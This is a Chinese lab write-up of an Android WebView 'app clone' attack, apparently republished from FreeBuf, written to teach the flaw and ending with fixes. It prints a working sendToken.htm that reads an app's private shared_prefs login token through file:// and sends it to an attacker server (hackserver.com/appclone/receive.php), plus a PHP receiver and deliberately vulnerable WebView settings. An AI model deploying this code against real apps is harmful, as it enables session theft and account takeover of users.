首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >深入挖掘APP克隆实验

深入挖掘APP克隆实验

作者头像
FB客服
发布2018-02-23 11:17:09
9130
发布2018-02-23 11:17:09
举报
文章被收录于专栏:FreeBufFreeBuf

0×00前言

在上一篇文章《WebView域控不严格读取内部私有文件实验》中,对webview跨域访问进行了简单的实验,后续决定深入挖掘一下APP克隆,之前文章中讲过的这里也将不再赘述。

0×01实验环境

基础环境:win10,Android studio 3,eclipse(androidserver 开发),ubuntu12(hackserver)

模拟器:

要开发APP:AppClone,AttackAPP,StartClone

1、Androidserver

Login.jsp:根据用户名密码判断是哪个用户然后返回一个token给安卓端

Myinfo.jsp:根据token判断是哪个用户,然后返回其个人信息。

Code区域:以上代码比较简单,大家可以自行编写或在网上找一段改改,这里就不占地方了

2、Hackserver

Code区域:

Receve.php主要用来接收APP传过来的token,并保存到newfile.txt中。

<?php$data = $_GET["data"];$myfile = fopen("/var/www/appclone/newfile.txt","w") or die("Unable to open file!");fwrite($myfile, $data);fclose($myfile);?>

sendToken.htm用来读取shared_prefs下保存的token并发送token到hackserver。

<html><script>var token = "";function iGetInnerText(testStr) {       var resultStr = testStr.replace(/\ +/g, ""); //去掉空格       resultStr = testStr.replace(/[ ]/g, "");    //去掉空格       resultStr = testStr.replace(/[\r\n]/g, ""); //去掉回车换行       return resultStr;    }function loadXMLDoc(){   var arm ="file:///data/data//com.example.test0.appclone/shared_prefs/loginState.xml";   var xmlhttp;   if (window.XMLHttpRequest)    {       xmlhttp=new XMLHttpRequest();    }   xmlhttp.onreadystatechange=function()    {       if (xmlhttp.readyState==4)       {                     token= iGetInnerText(xmlhttp.responseText);                     token= token.substr(token.length-34);                     token= token.substr(0,19);                     document.write(token);                       sendToken();       }    }   xmlhttp.open("GET",arm);   xmlhttp.send(null);}function sendToken(){   var arm = "http://www.hackserver.com/appclone/receive.php?data="+token;    var xmlhttp2;   if (window.XMLHttpRequest)    {       xmlhttp2=new XMLHttpRequest();    }   xmlhttp2.onreadystatechange=function()    {       if (xmlhttp2.readyState==4)       {                     //document.write(xmlhttp2.status);              //document.write(arm);        }    }   xmlhttp2.open("GET",arm);   xmlhttp2.send(null);}loadXMLDoc();</script></html>

3、AppClone

被克隆的APP,mainactivity用于登录,successactivity显示登录成功后的个人页面。

Code区域:

mainactivity

/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* <?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"   xmlns:tools="http://schemas.android.com/tools"   android:id="@+id/ll1"   android:layout_width="fill_parent"   android:layout_height="fill_parent"   android:orientation="vertical" >   <TextView android:text="用户名"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <EditText android:id="@+id/username"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <TextView android:text="密码"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <EditText android:id="@+id/password"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <Button android:id="@+id/button"       android:layout_width="wrap_content"       android:layout_height="wrap_content"       android:text="登录"/>   <ScrollView android:id="@+id/scrollView1"       android:layout_width="match_parent"       android:layout_height="wrap_content"       android:layout_weight="1">       <LinearLayout android:id="@+id/ll2"           android:layout_width="match_parent"           android:layout_height="match_parent">           <TextView android:id="@+id/result"               android:layout_width="match_parent"               android:layout_height="wrap_content"               android:layout_weight="1"/>       </LinearLayout>   </ScrollView></LinearLayout>public class MainActivity extends Activity{   private EditText username;   private EditText password;   private Button button;   private Handler handler;   private String result="";   private TextView resultTV;   public  static  final String Intent_key="token";   public  static  final String Intent_url="URL";   private SharedPreferences preferences;   private  String urlInfo ="http://www.androidserver.com:8080/ad/myinfo.jsp?token=";   private SharedPreferences.Editor editor;      @Override   public void onCreate(Bundle savedInstanceState) {       super.onCreate(savedInstanceState);       requestWindowFeature(Window.FEATURE_NO_TITLE);       setContentView(R.layout.activity_main);       //获取preferences和editor对象       preferences = getSharedPreferences("loginState",MODE_PRIVATE);       editor = preferences.edit();       String token =preferences.getString("token","fail");       Intent intent = new Intent(this,SuccessActivity.class);       Bundle bundle = new Bundle();       if(token.equals("user3_login_success")){           bundle.putString(Intent_key, token);           bundle.putString(Intent_url, urlInfo + token);           intent.putExtra("bundle", bundle);           startActivityForResult(intent,0);       }else if(token.equals("user4_login_success")){           bundle.putString(Intent_key, token);           bundle.putString(Intent_url, urlInfo + token);           intent.putExtra("bundle", bundle);           startActivityForResult(intent,0);       }       username=(EditText)findViewById(R.id.username);       password=(EditText)findViewById(R.id.password);       resultTV=(TextView)findViewById(R.id.result);       button=(Button)findViewById(R.id.button);       button.setOnClickListener(new View.OnClickListener() {           @Override           public void onClick(View arg0) {               if("".equals(username.getText().toString())){                   Toast.makeText(MainActivity.this, "请登录",                           Toast.LENGTH_SHORT).show();                   return;                }                new Thread(new Runnable() {                    @Override                    public void run() {                        login();                        Messagem=handler.obtainMessage();                       handler.sendMessage(m);                    }                }).start();           }       });       handler=new Handler(){           @Override           public void handleMessage(Message msg) {                if(result!=null){                    resultTV.setText(result);                   username.setText("");                   password.setText("");                }                super.handleMessage(msg);           }       };    }      //当从secondActivity中返回时调用此函数,清空token   @Override   protected void onActivityResult(int requestCode, int resultCode, Intentdata) {       super.onActivityResult(requestCode, resultCode, data);       if(requestCode==0 && resultCode==RESULT_OK){           Bundle bundle = data.getExtras();           String text =null;           if(bundle!=null)               text=bundle.getString("return");           Log.d("text",text);           editor.remove("token");           editor.commit();       }    }   public void login() {       String target="http://www.androidserver.com:8080/ad/login.jsp";       URL url;       try {           url=new URL(target);           HttpURLConnection urlConn=(HttpURLConnection)url.openConnection();           urlConn.setRequestMethod("POST");           urlConn.setDoInput(true);            urlConn.setDoOutput(true);           urlConn.setUseCaches(false);           urlConn.setInstanceFollowRedirects(true);           urlConn.setRequestProperty("Content-Type",                   "application/x-www-form-urlencoded");           DataOutputStream out=new DataOutputStream(urlConn.getOutputStream());           String param="username="+URLEncoder.encode(username.getText().toString(),"utf-8")                   +"&password="+URLEncoder.encode(password.getText().toString(),"utf-8");           System.out.println(username);           out.writeBytes(param);           out.flush();           out.close();           if(urlConn.getResponseCode()==HttpURLConnection.HTTP_OK){                InputStreamReader in=newInputStreamReader(urlConn.getInputStream());                BufferedReader buffer=newBufferedReader(in);                String inputLine=null;                String token = "";                result = "";               while((inputLine=buffer.readLine())!=null){                    result+=inputLine;                }                in.close();                Intent intent = newIntent(this,SuccessActivity.class);                Bundle bundle = new Bundle();               if(result.indexOf("user3_login_success")!=-1){                    token ="user3_login_success";                }elseif(result.indexOf("user4_login_success")!=-1){                    token ="user4_login_success";                }else{                    return;                }               editor.putString("token",token);                bundle.putString(Intent_key,token);                bundle.putString(Intent_url,urlInfo + token);                editor.commit();               intent.putExtra("bundle", bundle);               startActivityForResult(intent,0);           }           urlConn.disconnect();       } catch (MalformedURLException e) {           e.printStackTrace();       } catch (IOException e) {           e.printStackTrace();       }    }}
*/

successactivity

<?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"   android:orientation="vertical"   android:layout_width="match_parent"   android:layout_height="match_parent">   <TextView       android:id="@+id/textView"       android:layout_width="fill_parent"       android:layout_height="50dp"       />   <Button       android:id="@+id/button"       android:layout_width="wrap_content"       android:layout_height="wrap_content"       android:hint="点击按钮返回"       />   <WebView       android:layout_width="match_parent"       android:layout_height="match_parent"       android:id="@+id/webView"       /></LinearLayout>public class SuccessActivity extendsAppCompatActivity {   private Button button=null;   private TextView textView =null;   private WebView webView;   private String url = "";   private String text = "";   private class ButtonListener implements OnClickListener {       @Override       public void onClick(View v) {           switch (v.getId()){                case R.id.button:                    Intent intent =getIntent();                    Bundle bundle =newBundle();                   bundle.putString("return","return fromSuccessActivity!");                    intent.putExtras(bundle);                   setResult(RESULT_OK,intent);                    finish();                    break;           }       }    }   public void initView(){       button= (Button) findViewById(R.id.button);       textView= (TextView) findViewById(R.id.textView);       button.setOnClickListener(                new ButtonListener()       );        textView.setText(text);    }   @Override   protected void onCreate(Bundle savedInstanceState) {       super.onCreate(savedInstanceState);       setContentView(R.layout.activity_success);       webView = findViewById(R.id.webView);        webView.getSettings().setAllowFileAccess(true);       webView.setWebViewClient(new WebViewClient() {           public void onPageFinished(WebView view, String url) {           }       });       WebSettings webSettings = webView.getSettings();       webSettings.setJavaScriptEnabled(true);       //webView.getSettings().setAllowFileAccessFromFileURLs(true);       //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);       Intent intent =getIntent();       Bundle bundle = intent.getBundleExtra("bundle");       String token = bundle.getString(MainActivity.Intent_key);       if(token.equals("user3_login_success")){           text ="张三登录成功";       }else if(token.equals("user4_login_success")){           text ="李四登录成功";       }       url = bundle.getString(MainActivity.Intent_url);       initView();       webView.loadUrl(url);    }}

4、AttackAPP

Httpdownloader负责下载文件,Fileutil负责写文件,整个APP的功能是从hack.com上下载的sendToken.htm保存到/sdcard/Download/目录下,下载完成然后在调起被克隆的APP,让被克隆的APP加载sendToken.htm,从而把token发送到hackserver服务器上。

Code区域:以上代码比较占地方,网上也很多,大家可以自己下一些改改就可以了。

5、StartClone

此APP就一个mainactivity,功能是从hackserver获取newfile.txt中保存的token,然后带着token从外部调起APPClone,从而实现克隆。

Code区域:以上代码大家可以网上搜搜自己改改就可以了。

0×02 实验内容

克隆基本思路

User3手机

1、 当启动AppClone时,先判断shared_pfres下有没有用户登录的token,如果有则直接进行successactivity,如果没有则在mainactivity中输入用户名密码进行登录,登录成功保存token。这里使用zhangsan登录。

2、 启动attackapp,主要功能是下载hackserver上sendToken.htm并保存到/sdcard/Download/目录下,等下载完成,对appclone发起外部调用,让successactivity加载/sdcard/Download/sendToken.htm把token传输到hackserver上,hackserver收到token后保存到newfile.txt中。

User4手机

1、 启动AppClone并使用lisi账号登录。

2、 启动startclone,startclone会请求newfile.txt里的token值,然后使用这个token从外部调起APPClone,直接让successactivity接收到的token为zhangsan的token,进而登录张三的个人信息页,从而实现克隆。

0×03 实验步骤

1、启动两个虚拟机:

user3是被克隆的手机,装有两个app(AppClone,准备被克隆的APP,AttackAPP,发起攻击的APP)

user4是用来克隆的手机,装有两个app(AppClone,准备被克隆的APP,StartClone,开始克隆)

2、启动user3上的Appclone,并使用zhangsan登录,登录成功后会进入个人信息页面

3、启动user4上的Appclone,并使用lisi登录,登录成功可以看到张三和李四的个人信息页面里的钱是不一样的。

4、在user3上启动AttackAPP ,这里hackserver上的newfile中是没有数据的

点击开始攻击后数据被上传到hackserver,点击查看文件内容,可以看到被写入的token

5、运行startClone后,可以看到user4的手机也变成了张三的登录状态,克隆成功。

0×04 修改代码

1、如果不开启setJavaScriptEnabled,那么sendToken.htm将无法执行其中的js代码,也就无法将token发送到hackserver上。

2、本来看文章说是在js中访问file:///要开启setAllowFileAccessFromFileURLs(true),但是实验下来不需要也可以。

3、如果把setAllowUniversalAccessFromFileURLs(true)也注释掉则token传输失败,也就是说不开启它则无法把数据传输给远程服务器。

0×05 实验中遇到的问题及解决思路

1、 sd卡写入权限问题,一开始使用的虚拟机是安卓8.0在AndroidManifest申请好权限,但是无论如何也写入不成功,后来一查发现安卓6.0后需要在代码中动态申请权限,经过尝试之后发现很程度很容易崩溃,一定是我不懂开发的原因,转而换成安卓5.1的虚拟机,直接在AndroidManifest申请权限就可以了。 2、 未开启js访问,无论如何token都不能发送成功,然后把js删除发现htm确实被加载了,想到很有可能是这个原因,于是补上了webSettings.setJavaScriptEnabled(true);问题解决了。 3、 网络访问(下载)需要异步请求,不然程序也会出问题。

0×06 修复建议

通过实验发现做到以下几点,都可以防范:

1、webview不开启webSettings.setJavaScriptEnabled(true);

2、webview不开启setAllowUniversalAccessFromFileURLs(true)

还有之前文章中提到的:

1、 设置activity不可被导出

2、 禁止WebView 使用 File 协议,而且是明确禁止

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-02-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×01实验环境
    • 1、Androidserver
      • 2、Hackserver
        • 3、AppClone
          • 4、AttackAPP
            • 5、StartClone
            • 0×02 实验内容
              • 克隆基本思路
              • 0×03 实验步骤
              • 0×04 修改代码
              • 0×05 实验中遇到的问题及解决思路
              • 0×06 修复建议
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档